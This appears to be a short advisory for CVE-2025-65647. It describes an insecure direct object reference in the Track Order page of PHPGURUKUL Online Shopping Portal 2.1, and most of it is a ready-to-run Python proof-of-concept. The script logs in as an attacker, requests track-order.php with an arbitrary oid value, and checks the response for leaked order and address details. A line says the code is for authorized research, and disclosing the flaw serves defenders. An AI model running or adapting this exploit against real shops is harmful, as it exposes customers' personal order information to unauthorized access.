Insecure Direct Object Reference (IDOR) in the Track order function in PHPGURUKUL Online Shopping Portal 2.1 allows information disclosure via the oid parameter.
The following code is for security research and authorized testing only.
python
import requests
import sys
# CVE-2025-65647 PoC - IDOR in PHPGURUKUL Online Shopping Portal 2.1
# Target: Track Order function - oid parameter
def exploit_idor(target_url, order_id):
"""
Exploit IDOR vulnerability in Track Order function
target_url: Base URL of the vulnerable application
order_id: Order ID to access (can be any valid order ID)
"""
# Login first to get valid session
login_url = f"{target_url}/login.php"
session = requests.Session()
# Login with valid credentials
login_data = {
"email": "[email protected]",
"password": "attacker_password"
}
try:
# Perform login
login_response = session.post(login_url, data=login_data, timeout=10)
# Access Track Order page with manipulated oid parameter
track_order_url = f"{target_url}/track-order.php"
params = {"oid": order_id} # Manipulated order ID
response = session.get(track_order_url, params=params, timeout=10)
if response.status_code == 200:
print(f"[+] Successfully accessed order ID: {order_id}")
print(f"[+] Response length: {len(response.text)} bytes")
# Check for sensitive information in response
if "order" in response.text.lower() or "address" in response.text.lower():
print("[!] Sensitive order information leaked!")
return True
else:
print(f"[-] Request failed with status code: {response.status_code}")
return False
except requests.RequestException as e:
print(f"[-] Error: {e}")
return False
if __name__ == "__main__":
if len(sys.argv) < 3:
print(f"Usage: python {sys.argv[0]} <target_url> <order_id>")
print(f"Example: python {sys.argv[0]} http://target.com/shopping 1001")
sys.exit(1)
target = sys.argv[1]
order_id = sys.argv[2]
print(f"[*] CVE-2025-65647 PoC - IDOR in PHPGURUKUL Track Order")
print(f"[*] Target: {target}")
print(f"[*] Target Order ID: {order_id}")
exploit_idor(target, order_id)